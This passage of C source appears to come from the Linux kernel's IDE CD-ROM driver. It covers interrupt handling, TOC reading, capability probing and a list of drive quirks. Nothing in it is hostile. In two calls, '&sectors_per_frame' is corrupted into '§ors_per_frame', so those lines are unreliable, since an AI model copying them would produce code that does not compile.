struct request_sense *reqbuf = scsi_req(rq)->sense;
if (reqbuf->sense_key == UNIT_ATTENTION)
cdrom_saw_media_change(drive);
else if (reqbuf->sense_key == NOT_READY &&
reqbuf->asc == 4 && reqbuf->ascq != 4) {
/*
* The drive is in the process of loading
* a disk. Retry, but wait a little to give
* the drive time to complete the load.
*/
delay = true;
} else {
/* otherwise, don't retry */
retries = 0;
}
--retries;
}
blk_put_request(rq);
if (delay)
ssleep(2);
} while (failed && retries >= 0);
/* return an error if the command failed */
return failed ? -EIO : 0;
}
/*
* returns true if rq has been completed
*/
static bool ide_cd_error_cmd(ide_drive_t *drive, struct ide_cmd *cmd)
{
unsigned int nr_bytes = cmd->nbytes - cmd->nleft;
if (cmd->tf_flags & IDE_TFLAG_WRITE)
nr_bytes -= cmd->last_xfer_len;
if (nr_bytes > 0) {
ide_complete_rq(drive, BLK_STS_OK, nr_bytes);
return true;
}
return false;
}
static ide_startstop_t cdrom_newpc_intr(ide_drive_t *drive)
{
ide_hwif_t *hwif = drive->hwif;
struct ide_cmd *cmd = &hwif->cmd;
struct request *rq = hwif->rq;
ide_expiry_t *expiry = NULL;
int dma_error = 0, dma, thislen, uptodate = 0;
int write = (rq_data_dir(rq) == WRITE) ? 1 : 0, rc = 0;
int sense = ata_sense_request(rq);
unsigned int timeout;
u16 len;
u8 ireason, stat;
ide_debug_log(IDE_DBG_PC, "cmd: 0x%x, write: 0x%x", rq->cmd[0], write);
/* check for errors */
dma = drive->dma;
if (dma) {
drive->dma = 0;
drive->waiting_for_dma = 0;
dma_error = hwif->dma_ops->dma_end(drive);
ide_dma_unmap_sg(drive, cmd);
if (dma_error) {
printk(KERN_ERR PFX "%s: DMA %s error\n", drive->name,
write ? "write" : "read");
ide_dma_off(drive);
}
}
/* check status */
stat = hwif->tp_ops->read_status(hwif);
if (!OK_STAT(stat, 0, BAD_R_STAT)) {
rc = cdrom_decode_status(drive, stat);
if (rc) {
if (rc == 2)
goto out_end;
return ide_stopped;
}
}
/* using dma, transfer is complete now */
if (dma) {
if (dma_error)
return ide_error(drive, "dma error", stat);
uptodate = 1;
goto out_end;
}
ide_read_bcount_and_ireason(drive, &len, &ireason);
thislen = !blk_rq_is_passthrough(rq) ? len : cmd->nleft;
if (thislen > len)
thislen = len;
ide_debug_log(IDE_DBG_PC, "DRQ: stat: 0x%x, thislen: %d",
stat, thislen);
/* If DRQ is clear, the command has completed. */
if ((stat & ATA_DRQ) == 0) {
switch (req_op(rq)) {
default:
/*
* If we're not done reading/writing, complain.
* Otherwise, complete the command normally.
*/
uptodate = 1;
if (cmd->nleft > 0) {
printk(KERN_ERR PFX "%s: %s: data underrun "
"(%u bytes)\n", drive->name, __func__,
cmd->nleft);
if (!write)
rq->rq_flags |= RQF_FAILED;
uptodate = 0;
}
goto out_end;
case REQ_OP_DRV_IN:
case REQ_OP_DRV_OUT:
ide_cd_request_sense_fixup(drive, cmd);
uptodate = cmd->nleft ? 0 : 1;
/*
* suck out the remaining bytes from the drive in an
* attempt to complete the data xfer. (see BZ#13399)
*/
if (!(stat & ATA_ERR) && !uptodate && thislen) {
ide_pio_bytes(drive, cmd, write, thislen);
uptodate = cmd->nleft ? 0 : 1;
}
if (!uptodate)
rq->rq_flags |= RQF_FAILED;
goto out_end;
case REQ_OP_SCSI_IN:
case REQ_OP_SCSI_OUT:
goto out_end;
}
}
rc = ide_check_ireason(drive, rq, len, ireason, write);
if (rc)
goto out_end;
cmd->last_xfer_len = 0;
ide_debug_log(IDE_DBG_PC, "data transfer, rq->cmd_type: 0x%x, "
"ireason: 0x%x",
rq->cmd_type, ireason);
/* transfer data */
while (thislen > 0) {
int blen = min_t(int, thislen, cmd->nleft);
if (cmd->nleft == 0)
break;
ide_pio_bytes(drive, cmd, write, blen);
cmd->last_xfer_len += blen;
thislen -= blen;
len -= blen;
if (sense && write == 0)
scsi_req(rq)->sense_len += blen;
}
/* pad, if necessary */
if (len > 0) {
if (blk_rq_is_passthrough(rq) || write == 0)
ide_pad_transfer(drive, write, len);
else {
printk(KERN_ERR PFX "%s: confused, missing data\n",
drive->name);
blk_dump_rq_flags(rq, "cdrom_newpc_intr");
}
}
switch (req_op(rq)) {
case REQ_OP_SCSI_IN:
case REQ_OP_SCSI_OUT:
timeout = rq->timeout;
break;
case REQ_OP_DRV_IN:
case REQ_OP_DRV_OUT:
expiry = ide_cd_expiry;
/*FALLTHRU*/
default:
timeout = ATAPI_WAIT_PC;
break;
}
hwif->expiry = expiry;
ide_set_handler(drive, cdrom_newpc_intr, timeout);
return ide_started;
out_end:
if (blk_rq_is_scsi(rq) && rc == 0) {
scsi_req(rq)->resid_len = 0;
blk_end_request_all(rq, BLK_STS_OK);
hwif->rq = NULL;
} else {
if (sense && uptodate)
ide_cd_complete_failed_rq(drive, rq);
if (!blk_rq_is_passthrough(rq)) {
if (cmd->nleft == 0)
uptodate = 1;
} else {
if (uptodate <= 0 && scsi_req(rq)->result == 0)
scsi_req(rq)->result = -EIO;
}
if (uptodate == 0 && rq->bio)
if (ide_cd_error_cmd(drive, cmd))
return ide_stopped;
/* make sure it's fully ended */
if (blk_rq_is_passthrough(rq)) {
scsi_req(rq)->resid_len -= cmd->nbytes - cmd->nleft;
if (uptodate == 0 && (cmd->tf_flags & IDE_TFLAG_WRITE))
scsi_req(rq)->resid_len += cmd->last_xfer_len;
}
ide_complete_rq(drive, uptodate ? BLK_STS_OK : BLK_STS_IOERR, blk_rq_bytes(rq));
if (sense && rc == 2)
ide_error(drive, "request sense failure", stat);
}
return ide_stopped;
}
static ide_startstop_t cdrom_start_rw(ide_drive_t *drive, struct request *rq)
{
struct cdrom_info *cd = drive->driver_data;
struct request_queue *q = drive->queue;
int write = rq_data_dir(rq) == WRITE;
unsigned short sectors_per_frame =
queue_logical_block_size(q) >> SECTOR_SHIFT;
ide_debug_log(IDE_DBG_RQ, "rq->cmd[0]: 0x%x, rq->cmd_flags: 0x%x, "
"secs_per_frame: %u",
rq->cmd[0], rq->cmd_flags, sectors_per_frame);
if (write) {
/* disk has become write protected */
if (get_disk_ro(cd->disk))
return ide_stopped;
} else {
/*
* We may be retrying this request after an error. Fix up any
* weirdness which might be present in the request packet.
*/
q->prep_rq_fn(q, rq);
}
/* fs requests *must* be hardware frame aligned */
if ((blk_rq_sectors(rq) & (sectors_per_frame - 1)) ||
(blk_rq_pos(rq) & (sectors_per_frame - 1)))
return ide_stopped;
/* use DMA, if possible */
drive->dma = !!(drive->dev_flags & IDE_DFLAG_USING_DMA);
if (write)
cd->devinfo.media_written = 1;
rq->timeout = ATAPI_WAIT_PC;
return ide_started;
}
static void cdrom_do_block_pc(ide_drive_t *drive, struct request *rq)
{
ide_debug_log(IDE_DBG_PC, "rq->cmd[0]: 0x%x, rq->cmd_type: 0x%x",
rq->cmd[0], rq->cmd_type);
if (blk_rq_is_scsi(rq))
rq->rq_flags |= RQF_QUIET;
else
rq->rq_flags &= ~RQF_FAILED;
drive->dma = 0;
/* sg request */
if (rq->bio) {
struct request_queue *q = drive->queue;
char *buf = bio_data(rq->bio);
unsigned int alignment;
drive->dma = !!(drive->dev_flags & IDE_DFLAG_USING_DMA);
/*
* check if dma is safe
*
* NOTE! The "len" and "addr" checks should possibly have
* separate masks.
*/
alignment = queue_dma_alignment(q) | q->dma_pad_mask;
if ((unsigned long)buf & alignment
|| blk_rq_bytes(rq) & q->dma_pad_mask
|| object_is_on_stack(buf))
drive->dma = 0;
}
}
static ide_startstop_t ide_cd_do_request(ide_drive_t *drive, struct request *rq,
sector_t block)
{
struct ide_cmd cmd;
int uptodate = 0;
unsigned int nsectors;
ide_debug_log(IDE_DBG_RQ, "cmd: 0x%x, block: %llu",
rq->cmd[0], (unsigned long long)block);
if (drive->debug_mask & IDE_DBG_RQ)
blk_dump_rq_flags(rq, "ide_cd_do_request");
switch (req_op(rq)) {
default:
if (cdrom_start_rw(drive, rq) == ide_stopped)
goto out_end;
break;
case REQ_OP_SCSI_IN:
case REQ_OP_SCSI_OUT:
handle_pc:
if (!rq->timeout)
rq->timeout = ATAPI_WAIT_PC;
cdrom_do_block_pc(drive, rq);
break;
case REQ_OP_DRV_IN:
case REQ_OP_DRV_OUT:
switch (ide_req(rq)->type) {
case ATA_PRIV_MISC:
/* right now this can only be a reset... */
uptodate = 1;
goto out_end;
case ATA_PRIV_SENSE:
case ATA_PRIV_PC:
goto handle_pc;
default:
BUG();
}
}
/* prepare sense request for this command */
ide_prep_sense(drive, rq);
memset(&cmd, 0, sizeof(cmd));
if (rq_data_dir(rq))
cmd.tf_flags |= IDE_TFLAG_WRITE;
cmd.rq = rq;
if (!blk_rq_is_passthrough(rq) || blk_rq_bytes(rq)) {
ide_init_sg_cmd(&cmd, blk_rq_bytes(rq));
ide_map_sg(drive, &cmd);
}
return ide_issue_pc(drive, &cmd);
out_end:
nsectors = blk_rq_sectors(rq);
if (nsectors == 0)
nsectors = 1;
ide_complete_rq(drive, uptodate ? BLK_STS_OK : BLK_STS_IOERR, nsectors << 9);
return ide_stopped;
}
/*
* Ioctl handling.
*
* Routines which queue packet commands take as a final argument a pointer to a
* request_sense struct. If execution of the command results in an error with a
* CHECK CONDITION status, this structure will be filled with the results of the
* subsequent request sense command. The pointer can also be NULL, in which case
* no sense information is returned.
*/
static void msf_from_bcd(struct atapi_msf *msf)
{
msf->minute = bcd2bin(msf->minute);
msf->second = bcd2bin(msf->second);
msf->frame = bcd2bin(msf->frame);
}
int cdrom_check_status(ide_drive_t *drive, struct request_sense *sense)
{
struct cdrom_info *info = drive->driver_data;
struct cdrom_device_info *cdi;
unsigned char cmd[BLK_MAX_CDB];
ide_debug_log(IDE_DBG_FUNC, "enter");
if (!info)
return -EIO;
cdi = &info->devinfo;
memset(cmd, 0, BLK_MAX_CDB);
cmd[0] = GPCMD_TEST_UNIT_READY;
/*
* Sanyo 3 CD changer uses byte 7 of TEST_UNIT_READY to switch CDs
* instead of supporting the LOAD_UNLOAD opcode.
*/
cmd[7] = cdi->sanyo_slot % 3;
return ide_cd_queue_pc(drive, cmd, 0, NULL, NULL, sense, 0, RQF_QUIET);
}
static int cdrom_read_capacity(ide_drive_t *drive, unsigned long *capacity,
unsigned long *sectors_per_frame,
struct request_sense *sense)
{
struct {
__be32 lba;
__be32 blocklen;
} capbuf;
int stat;
unsigned char cmd[BLK_MAX_CDB];
unsigned len = sizeof(capbuf);
u32 blocklen;
ide_debug_log(IDE_DBG_FUNC, "enter");
memset(cmd, 0, BLK_MAX_CDB);
cmd[0] = GPCMD_READ_CDVD_CAPACITY;
stat = ide_cd_queue_pc(drive, cmd, 0, &capbuf, &len, sense, 0,
RQF_QUIET);
if (stat)
return stat;
/*
* Sanity check the given block size, in so far as making
* sure the sectors_per_frame we give to the caller won't
* end up being bogus.
*/
blocklen = be32_to_cpu(capbuf.blocklen);
blocklen = (blocklen >> SECTOR_SHIFT) << SECTOR_SHIFT;
switch (blocklen) {
case 512:
case 1024:
case 2048:
case 4096:
break;
default:
printk_once(KERN_ERR PFX "%s: weird block size %u; "
"setting default block size to 2048\n",
drive->name, blocklen);
blocklen = 2048;
break;
}
*capacity = 1 + be32_to_cpu(capbuf.lba);
*sectors_per_frame = blocklen >> SECTOR_SHIFT;
ide_debug_log(IDE_DBG_PROBE, "cap: %lu, sectors_per_frame: %lu",
*capacity, *sectors_per_frame);
return 0;
}
static int cdrom_read_tocentry(ide_drive_t *drive, int trackno, int msf_flag,
int format, char *buf, int buflen,
struct request_sense *sense)
{
unsigned char cmd[BLK_MAX_CDB];
ide_debug_log(IDE_DBG_FUNC, "enter");
memset(cmd, 0, BLK_MAX_CDB);
cmd[0] = GPCMD_READ_TOC_PMA_ATIP;
cmd[6] = trackno;
cmd[7] = (buflen >> 8);
cmd[8] = (buflen & 0xff);
cmd[9] = (format << 6);
if (msf_flag)
cmd[1] = 2;
return ide_cd_queue_pc(drive, cmd, 0, buf, &buflen, sense, 0, RQF_QUIET);
}
/* Try to read the entire TOC for the disk into our internal buffer. */
int ide_cd_read_toc(ide_drive_t *drive, struct request_sense *sense)
{
int stat, ntracks, i;
struct cdrom_info *info = drive->driver_data;
struct cdrom_device_info *cdi = &info->devinfo;
struct atapi_toc *toc = info->toc;
struct {
struct atapi_toc_header hdr;
struct atapi_toc_entry ent;
} ms_tmp;
long last_written;
unsigned long sectors_per_frame = SECTORS_PER_FRAME;
ide_debug_log(IDE_DBG_FUNC, "enter");
if (toc == NULL) {
/* try to allocate space */
toc = kmalloc(sizeof(struct atapi_toc), GFP_KERNEL);
if (toc == NULL) {
printk(KERN_ERR PFX "%s: No cdrom TOC buffer!\n",
drive->name);
return -ENOMEM;
}
info->toc = toc;
}
/*
* Check to see if the existing data is still valid. If it is,
* just return.
*/
(void) cdrom_check_status(drive, sense);
if (drive->atapi_flags & IDE_AFLAG_TOC_VALID)
return 0;
/* try to get the total cdrom capacity and sector size */
stat = cdrom_read_capacity(drive, &toc->capacity, §ors_per_frame,
sense);
if (stat)
toc->capacity = 0x1fffff;
set_capacity(info->disk, toc->capacity * sectors_per_frame);
/* save a private copy of the TOC capacity for error handling */
drive->probed_capacity = toc->capacity * sectors_per_frame;
blk_queue_logical_block_size(drive->queue,
sectors_per_frame << SECTOR_SHIFT);
/* first read just the header, so we know how long the TOC is */
stat = cdrom_read_tocentry(drive, 0, 1, 0, (char *) &toc->hdr,
sizeof(struct atapi_toc_header), sense);
if (stat)
return stat;
if (drive->atapi_flags & IDE_AFLAG_TOCTRACKS_AS_BCD) {
toc->hdr.first_track = bcd2bin(toc->hdr.first_track);
toc->hdr.last_track = bcd2bin(toc->hdr.last_track);
}
ntracks = toc->hdr.last_track - toc->hdr.first_track + 1;
if (ntracks <= 0)
return -EIO;
if (ntracks > MAX_TRACKS)
ntracks = MAX_TRACKS;
/* now read the whole schmeer */
stat = cdrom_read_tocentry(drive, toc->hdr.first_track, 1, 0,
(char *)&toc->hdr,
sizeof(struct atapi_toc_header) +
(ntracks + 1) *
sizeof(struct atapi_toc_entry), sense);
if (stat && toc->hdr.first_track > 1) {
/*
* Cds with CDI tracks only don't have any TOC entries, despite
* of this the returned values are
* first_track == last_track = number of CDI tracks + 1,
* so that this case is indistinguishable from the same layout
* plus an additional audio track. If we get an error for the
* regular case, we assume a CDI without additional audio
* tracks. In this case the readable TOC is empty (CDI tracks
* are not included) and only holds the Leadout entry.
*
* Heiko Eißfeldt.
*/
ntracks = 0;
stat = cdrom_read_tocentry(drive, CDROM_LEADOUT, 1, 0,
(char *)&toc->hdr,
sizeof(struct atapi_toc_header) +
(ntracks + 1) *
sizeof(struct atapi_toc_entry),
sense);
if (stat)
return stat;
if (drive->atapi_flags & IDE_AFLAG_TOCTRACKS_AS_BCD) {
toc->hdr.first_track = (u8)bin2bcd(CDROM_LEADOUT);
toc->hdr.last_track = (u8)bin2bcd(CDROM_LEADOUT);
} else {
toc->hdr.first_track = CDROM_LEADOUT;
toc->hdr.last_track = CDROM_LEADOUT;
}
}
if (stat)
return stat;
toc->hdr.toc_length = be16_to_cpu(toc->hdr.toc_length);
if (drive->atapi_flags & IDE_AFLAG_TOCTRACKS_AS_BCD) {
toc->hdr.first_track = bcd2bin(toc->hdr.first_track);
toc->hdr.last_track = bcd2bin(toc->hdr.last_track);
}
for (i = 0; i <= ntracks; i++) {
if (drive->atapi_flags & IDE_AFLAG_TOCADDR_AS_BCD) {
if (drive->atapi_flags & IDE_AFLAG_TOCTRACKS_AS_BCD)
toc->ent[i].track = bcd2bin(toc->ent[i].track);
msf_from_bcd(&toc->ent[i].addr.msf);
}
toc->ent[i].addr.lba = msf_to_lba(toc->ent[i].addr.msf.minute,
toc->ent[i].addr.msf.second,
toc->ent[i].addr.msf.frame);
}
if (toc->hdr.first_track != CDROM_LEADOUT) {
/* read the multisession information */
stat = cdrom_read_tocentry(drive, 0, 0, 1, (char *)&ms_tmp,
sizeof(ms_tmp), sense);
if (stat)
return stat;
toc->last_session_lba = be32_to_cpu(ms_tmp.ent.addr.lba);
} else {
ms_tmp.hdr.last_track = CDROM_LEADOUT;
ms_tmp.hdr.first_track = ms_tmp.hdr.last_track;
toc->last_session_lba = msf_to_lba(0, 2, 0); /* 0m 2s 0f */
}
if (drive->atapi_flags & IDE_AFLAG_TOCADDR_AS_BCD) {
/* re-read multisession information using MSF format */
stat = cdrom_read_tocentry(drive, 0, 1, 1, (char *)&ms_tmp,
sizeof(ms_tmp), sense);
if (stat)
return stat;
msf_from_bcd(&ms_tmp.ent.addr.msf);
toc->last_session_lba = msf_to_lba(ms_tmp.ent.addr.msf.minute,
ms_tmp.ent.addr.msf.second,
ms_tmp.ent.addr.msf.frame);
}
toc->xa_flag = (ms_tmp.hdr.first_track != ms_tmp.hdr.last_track);
/* now try to get the total cdrom capacity */
stat = cdrom_get_last_written(cdi, &last_written);
if (!stat && (last_written > toc->capacity)) {
toc->capacity = last_written;
set_capacity(info->disk, toc->capacity * sectors_per_frame);
drive->probed_capacity = toc->capacity * sectors_per_frame;
}
/* Remember that we've read this stuff. */
drive->atapi_flags |= IDE_AFLAG_TOC_VALID;
return 0;
}
int ide_cdrom_get_capabilities(ide_drive_t *drive, u8 *buf)
{
struct cdrom_info *info = drive->driver_data;
struct cdrom_device_info *cdi = &info->devinfo;
struct packet_command cgc;
int stat, attempts = 3, size = ATAPI_CAPABILITIES_PAGE_SIZE;
ide_debug_log(IDE_DBG_FUNC, "enter");
if ((drive->atapi_flags & IDE_AFLAG_FULL_CAPS_PAGE) == 0)
size -= ATAPI_CAPABILITIES_PAGE_PAD_SIZE;
init_cdrom_command(&cgc, buf, size, CGC_DATA_UNKNOWN);
do {
/* we seem to get stat=0x01,err=0x00 the first time (??) */
stat = cdrom_mode_sense(cdi, &cgc, GPMODE_CAPABILITIES_PAGE, 0);
if (!stat)
break;
} while (--attempts);
return stat;
}
void ide_cdrom_update_speed(ide_drive_t *drive, u8 *buf)
{
struct cdrom_info *cd = drive->driver_data;
u16 curspeed, maxspeed;
ide_debug_log(IDE_DBG_FUNC, "enter");
if (drive->atapi_flags & IDE_AFLAG_LE_SPEED_FIELDS) {
curspeed = le16_to_cpup((__le16 *)&buf[8 + 14]);
maxspeed = le16_to_cpup((__le16 *)&buf[8 + 8]);
} else {
curspeed = be16_to_cpup((__be16 *)&buf[8 + 14]);
maxspeed = be16_to_cpup((__be16 *)&buf[8 + 8]);
}
ide_debug_log(IDE_DBG_PROBE, "curspeed: %u, maxspeed: %u",
curspeed, maxspeed);
cd->current_speed = DIV_ROUND_CLOSEST(curspeed, 176);
cd->max_speed = DIV_ROUND_CLOSEST(maxspeed, 176);
}
#define IDE_CD_CAPABILITIES \
(CDC_CLOSE_TRAY | CDC_OPEN_TRAY | CDC_LOCK | CDC_SELECT_SPEED | \
CDC_SELECT_DISC | CDC_MULTI_SESSION | CDC_MCN | CDC_MEDIA_CHANGED | \
CDC_PLAY_AUDIO | CDC_RESET | CDC_DRIVE_STATUS | CDC_CD_R | \
CDC_CD_RW | CDC_DVD | CDC_DVD_R | CDC_DVD_RAM | CDC_GENERIC_PACKET | \
CDC_MO_DRIVE | CDC_MRW | CDC_MRW_W | CDC_RAM)
static const struct cdrom_device_ops ide_cdrom_dops = {
.open = ide_cdrom_open_real,
.release = ide_cdrom_release_real,
.drive_status = ide_cdrom_drive_status,
.check_events = ide_cdrom_check_events_real,
.tray_move = ide_cdrom_tray_move,
.lock_door = ide_cdrom_lock_door,
.select_speed = ide_cdrom_select_speed,
.get_last_session = ide_cdrom_get_last_session,
.get_mcn = ide_cdrom_get_mcn,
.reset = ide_cdrom_reset,
.audio_ioctl = ide_cdrom_audio_ioctl,
.capability = IDE_CD_CAPABILITIES,
.generic_packet = ide_cdrom_packet,
};
static int ide_cdrom_register(ide_drive_t *drive, int nslots)
{
struct cdrom_info *info = drive->driver_data;
struct cdrom_device_info *devinfo = &info->devinfo;
ide_debug_log(IDE_DBG_PROBE, "nslots: %d", nslots);
devinfo->ops = &ide_cdrom_dops;
devinfo->speed = info->current_speed;
devinfo->capacity = nslots;
devinfo->handle = drive;
strcpy(devinfo->name, drive->name);
if (drive->atapi_flags & IDE_AFLAG_NO_SPEED_SELECT)
devinfo->mask |= CDC_SELECT_SPEED;
devinfo->disk = info->disk;
return register_cdrom(devinfo);
}
static int ide_cdrom_probe_capabilities(ide_drive_t *drive)
{
struct cdrom_info *cd = drive->driver_data;
struct cdrom_device_info *cdi = &cd->devinfo;
u8 buf[ATAPI_CAPABILITIES_PAGE_SIZE];
mechtype_t mechtype;
int nslots = 1;
ide_debug_log(IDE_DBG_PROBE, "media: 0x%x, atapi_flags: 0x%lx",
drive->media, drive->atapi_flags);
cdi->mask = (CDC_CD_R | CDC_CD_RW | CDC_DVD | CDC_DVD_R |
CDC_DVD_RAM | CDC_SELECT_DISC | CDC_PLAY_AUDIO |
CDC_MO_DRIVE | CDC_RAM);
if (drive->media == ide_optical) {
cdi->mask &= ~(CDC_MO_DRIVE | CDC_RAM);
printk(KERN_ERR PFX "%s: ATAPI magneto-optical drive\n",
drive->name);
return nslots;
}
if (drive->atapi_flags & IDE_AFLAG_PRE_ATAPI12) {
drive->atapi_flags &= ~IDE_AFLAG_NO_EJECT;
cdi->mask &= ~CDC_PLAY_AUDIO;
return nslots;
}
/*
* We have to cheat a little here. the packet will eventually be queued
* with ide_cdrom_packet(), which extracts the drive from cdi->handle.
* Since this device hasn't been registered with the Uniform layer yet,
* it can't do this. Same goes for cdi->ops.
*/
cdi->handle = drive;
cdi->ops = &ide_cdrom_dops;
if (ide_cdrom_get_capabilities(drive, buf))
return 0;
if ((buf[8 + 6] & 0x01) == 0)
drive->dev_flags &= ~IDE_DFLAG_DOORLOCKING;
if (buf[8 + 6] & 0x08)
drive->atapi_flags &= ~IDE_AFLAG_NO_EJECT;
if (buf[8 + 3] & 0x01)
cdi->mask &= ~CDC_CD_R;
if (buf[8 + 3] & 0x02)
cdi->mask &= ~(CDC_CD_RW | CDC_RAM);
if (buf[8 + 2] & 0x38)
cdi->mask &= ~CDC_DVD;
if (buf[8 + 3] & 0x20)
cdi->mask &= ~(CDC_DVD_RAM | CDC_RAM);
if (buf[8 + 3] & 0x10)
cdi->mask &= ~CDC_DVD_R;
if ((buf[8 + 4] & 0x01) || (drive->atapi_flags & IDE_AFLAG_PLAY_AUDIO_OK))
cdi->mask &= ~CDC_PLAY_AUDIO;
mechtype = buf[8 + 6] >> 5;
if (mechtype == mechtype_caddy ||
mechtype == mechtype_popup ||
(drive->atapi_flags & IDE_AFLAG_NO_AUTOCLOSE))
cdi->mask |= CDC_CLOSE_TRAY;
if (cdi->sanyo_slot > 0) {
cdi->mask &= ~CDC_SELECT_DISC;
nslots = 3;
} else if (mechtype == mechtype_individual_changer ||
mechtype == mechtype_cartridge_changer) {
nslots = cdrom_number_of_slots(cdi);
if (nslots > 1)
cdi->mask &= ~CDC_SELECT_DISC;
}
ide_cdrom_update_speed(drive, buf);
printk(KERN_INFO PFX "%s: ATAPI", drive->name);
/* don't print speed if the drive reported 0 */
if (cd->max_speed)
printk(KERN_CONT " %dX", cd->max_speed);
printk(KERN_CONT " %s", (cdi->mask & CDC_DVD) ? "CD-ROM" : "DVD-ROM");
if ((cdi->mask & CDC_DVD_R) == 0 || (cdi->mask & CDC_DVD_RAM) == 0)
printk(KERN_CONT " DVD%s%s",
(cdi->mask & CDC_DVD_R) ? "" : "-R",
(cdi->mask & CDC_DVD_RAM) ? "" : "/RAM");
if ((cdi->mask & CDC_CD_R) == 0 || (cdi->mask & CDC_CD_RW) == 0)
printk(KERN_CONT " CD%s%s",
(cdi->mask & CDC_CD_R) ? "" : "-R",
(cdi->mask & CDC_CD_RW) ? "" : "/RW");
if ((cdi->mask & CDC_SELECT_DISC) == 0)
printk(KERN_CONT " changer w/%d slots", nslots);
else
printk(KERN_CONT " drive");
printk(KERN_CONT ", %dkB Cache\n",
be16_to_cpup((__be16 *)&buf[8 + 12]));
return nslots;
}
/* standard prep_rq_fn that builds 10 byte cmds */
static int ide_cdrom_prep_fs(struct request_queue *q, struct request *rq)
{
int hard_sect = queue_logical_block_size(q);
long block = (long)blk_rq_pos(rq) / (hard_sect >> 9);
unsigned long blocks = blk_rq_sectors(rq) / (hard_sect >> 9);
struct scsi_request *req = scsi_req(rq);
q->initialize_rq_fn(rq);
if (rq_data_dir(rq) == READ)
req->cmd[0] = GPCMD_READ_10;
else
req->cmd[0] = GPCMD_WRITE_10;
/*
* fill in lba
*/
req->cmd[2] = (block >> 24) & 0xff;
req->cmd[3] = (block >> 16) & 0xff;
req->cmd[4] = (block >> 8) & 0xff;
req->cmd[5] = block & 0xff;
/*
* and transfer length
*/
req->cmd[7] = (blocks >> 8) & 0xff;
req->cmd[8] = blocks & 0xff;
req->cmd_len = 10;
return BLKPREP_OK;
}
/*
* Most of the SCSI commands are supported directly by ATAPI devices.
* This transform handles the few exceptions.
*/
static int ide_cdrom_prep_pc(struct request *rq)
{
u8 *c = scsi_req(rq)->cmd;
/* transform 6-byte read/write commands to the 10-byte version */
if (c[0] == READ_6 || c[0] == WRITE_6) {
c[8] = c[4];
c[5] = c[3];
c[4] = c[2];
c[3] = c[1] & 0x1f;
c[2] = 0;
c[1] &= 0xe0;
c[0] += (READ_10 - READ_6);
scsi_req(rq)->cmd_len = 10;
return BLKPREP_OK;
}
/*
* it's silly to pretend we understand 6-byte sense commands, just
* reject with ILLEGAL_REQUEST and the caller should take the
* appropriate action
*/
if (c[0] == MODE_SENSE || c[0] == MODE_SELECT) {
scsi_req(rq)->result = ILLEGAL_REQUEST;
return BLKPREP_KILL;
}
return BLKPREP_OK;
}
static int ide_cdrom_prep_fn(struct request_queue *q, struct request *rq)
{
if (!blk_rq_is_passthrough(rq))
return ide_cdrom_prep_fs(q, rq);
else if (blk_rq_is_scsi(rq))
return ide_cdrom_prep_pc(rq);
return 0;
}
struct cd_list_entry {
const char *id_model;
const char *id_firmware;
unsigned int cd_flags;
};
#ifdef CONFIG_IDE_PROC_FS
static sector_t ide_cdrom_capacity(ide_drive_t *drive)
{
unsigned long capacity, sectors_per_frame;
if (cdrom_read_capacity(drive, &capacity, §ors_per_frame, NULL))
return 0;
return capacity * sectors_per_frame;
}
static int idecd_capacity_proc_show(struct seq_file *m, void *v)
{
ide_drive_t *drive = m->private;
seq_printf(m, "%llu\n", (long long)ide_cdrom_capacity(drive));
return 0;
}
static ide_proc_entry_t idecd_proc[] = {
{ "capacity", S_IFREG|S_IRUGO, idecd_capacity_proc_show },
{}
};
static ide_proc_entry_t *ide_cd_proc_entries(ide_drive_t *drive)
{
return idecd_proc;
}
static const struct ide_proc_devset *ide_cd_proc_devsets(ide_drive_t *drive)
{
return NULL;
}
#endif
static const struct cd_list_entry ide_cd_quirks_list[] = {
/* SCR-3231 doesn't support the SET_CD_SPEED command. */
{ "SAMSUNG CD-ROM SCR-3231", NULL, IDE_AFLAG_NO_SPEED_SELECT },
/* Old NEC260 (not R) was released before ATAPI 1.2 spec. */
{ "NEC CD-ROM DRIVE:260", "1.01", IDE_AFLAG_TOCADDR_AS_BCD |
IDE_AFLAG_PRE_ATAPI12, },
/* Vertos 300, some versions of this drive like to talk BCD. */
{ "V003S0DS", NULL, IDE_AFLAG_VERTOS_300_SSD, },
/* Vertos 600 ESD. */
{ "V006E0DS", NULL, IDE_AFLAG_VERTOS_600_ESD, },
/*
* Sanyo 3 CD changer uses a non-standard command for CD changing
* (by default standard ATAPI support for CD changers is used).
*/
{ "CD-ROM CDR-C3 G", NULL, IDE_AFLAG_SANYO_3CD },
{ "CD-ROM CDR-C3G", NULL, IDE_AFLAG_SANYO_3CD },
{ "CD-ROM CDR_C36", NULL, IDE_AFLAG_SANYO_3CD },
/* Stingray 8X CD-ROM. */
{ "STINGRAY 8422 IDE 8X CD-ROM 7-27-95", NULL, IDE_AFLAG_PRE_ATAPI12 },
/*
* ACER 50X CD-ROM and WPI 32X CD-ROM require the full spec length
* mode sense page capabilities size, but older drives break.
*/
{ "ATAPI CD ROM DRIVE 50X MAX", NULL, IDE_AFLAG_FULL_CAPS_PAGE },
{ "WPI CDS-32X", NULL, IDE_AFLAG_FULL_CAPS_PAGE },
/* ACER/AOpen 24X CD-ROM has the speed fields byte-swapped. */
{ "", "241N", IDE_AFLAG_LE_SPEED_FIELDS },
/*
* Some drives used by Apple don't advertise audio play
* but they do support reading TOC & audio datas.
*/
{ "MATSHITADVD-ROM SR-8187", NULL, IDE_AFLAG_PLAY_AUDIO_OK },
{ "MATSHITADVD-ROM SR-8186", NULL, IDE_AFLAG_PLAY_AUDIO_OK },
{ "MATSHITADVD-ROM SR-8176", NULL, IDE_AFLAG_PLAY_AUDIO_OK },
{ "MATSHITADVD-ROM SR-8174", NULL, IDE_AFLAG_PLAY_AUDIO_OK },
{ "Optiarc DVD RW AD-5200A", NULL, IDE_AFLAG_PLAY_AUDIO_OK },
{ "Optiarc DVD RW AD-7200A", NULL, IDE_AFLAG_PLAY_AUDIO_OK },
{ "Optiarc DVD RW AD-7543A", NULL, IDE_AFLAG_NO_AUTOCLOSE },
{ "TEAC CD-ROM CD-224E", NULL, IDE_AFLAG_NO_AUTOCLOSE },
{ NULL, NULL, 0 }
};
static unsigned int ide_cd_flags(u16 *id)
{
const struct cd_list_entry *cle = ide_cd_quirks_list;
while (cle->id_model) {
if (strcmp(cle->id_model, (char *)&id[ATA_ID_PROD]) == 0 &&
(cle->id_firmware == NULL ||
strstr((char *)&id[ATA_ID_FW_REV], cle->id_firmware)))
return cle->cd_flags;
cle++;
}
return 0;
}
static int ide_cdrom_setup(ide_drive_t *drive)
{
struct cdrom_info *cd = drive->driver_data;
struct cdrom_device_info *cdi = &cd->devinfo;
struct request_queue *q = drive->queue;
